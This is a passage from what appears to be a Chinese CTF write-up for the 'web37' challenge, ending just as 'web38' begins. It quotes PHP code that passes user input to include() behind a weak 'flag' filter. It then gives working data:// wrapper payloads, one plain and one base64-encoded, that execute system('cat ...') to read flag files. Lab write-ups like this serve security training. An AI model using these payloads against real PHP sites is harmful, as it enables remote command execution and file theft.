web37
关键代码:
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
伪协议中的data://
,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
data://协议用法:
data://text/plain,
data://text/plain;base64,
payload: c=data://text/plain,<?php system("cat f*")?> //查看flag.php,右键源码中查找flag
payload: c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKT8+
//'base64,'后面是base64加密的<?php system('cat flag.php')?>
web38
主要代码:
if(!